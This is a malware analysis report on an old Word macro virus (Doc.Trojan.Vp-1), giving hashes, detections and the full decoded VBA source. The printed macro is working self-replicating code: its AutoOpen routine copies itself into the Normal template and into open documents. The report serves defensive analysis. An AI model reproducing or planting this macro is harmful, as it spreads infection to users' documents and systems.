Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4e41aaa4a24ec14c…

MALICIOUS

Office (OLE)

27.5 KB Created: 2001-07-06 08:17:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e0790a0f16b174403a0633087abd59c5 SHA-1: e1751ef059ecdc7676b19bed595bf886605fac2f SHA-256: 4e41aaa4a24ec14c5d87d713b8f5470a59e82170a40f269a270f948ff23ab1f7
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is designed to copy itself to the Normal template, which is a common persistence technique. The macro's obfuscated comments and the ClamAV detection indicate malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Vp-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Vp-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1467 bytes
SHA-256: 14a74cccd023882b784052e2b01a88884fc1bef5a42041be56a2a3d6d21d39ab
Detection
ClamAV: Doc.Trojan.Vp-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
                ' ŇĺńhnoVčđós(tm) fîr MińrîSîft Wîrd 6.Î-7.Î '
                ' (ń) 1997-98 ŇĺchnîSîft frîm Ňîmsk          '
    CheckInWindow
    CheckNormal

End Sub

Private Function vpInNormal()
Dim i

    vpInNormal = 0

    For i = 1 To WordBasic.CountMacros(0)
        If WordBasic.[MacroName$](i, 0) = "AutoOpen" Then vpInNormal = -1
    Next

End Function

Private Sub CheckNormal()

    If Not vpInNormal Then WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoOpen") + ":AutoOpen", "Normal:AutoOpen"

End Sub

Private Function vpInWindow()
Dim i

    vpInWindow = 0

    For i = 1 To WordBasic.CountMacros(1)
        If WordBasic.[MacroName$](i, 1) = "AutoOpen" Then vpInWindow = -1
    Next

End Function

Private Sub CheckInWindow()

1    If Not vpInWindow Then WordBasic.FileSaveAs Name:=WordBasic.[FileNameFromWindow$](), Format:=1: WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoOpen") + ":AutoOpen", WordBasic.[FileNameFromWindow$]() + ":AutoOpen": WordBasic.FileSaveAs Name:=WordBasic.[FileNameFromWindow$](), Format:=1

End Sub

'   ĚŕńrîŇĺńhnî ?!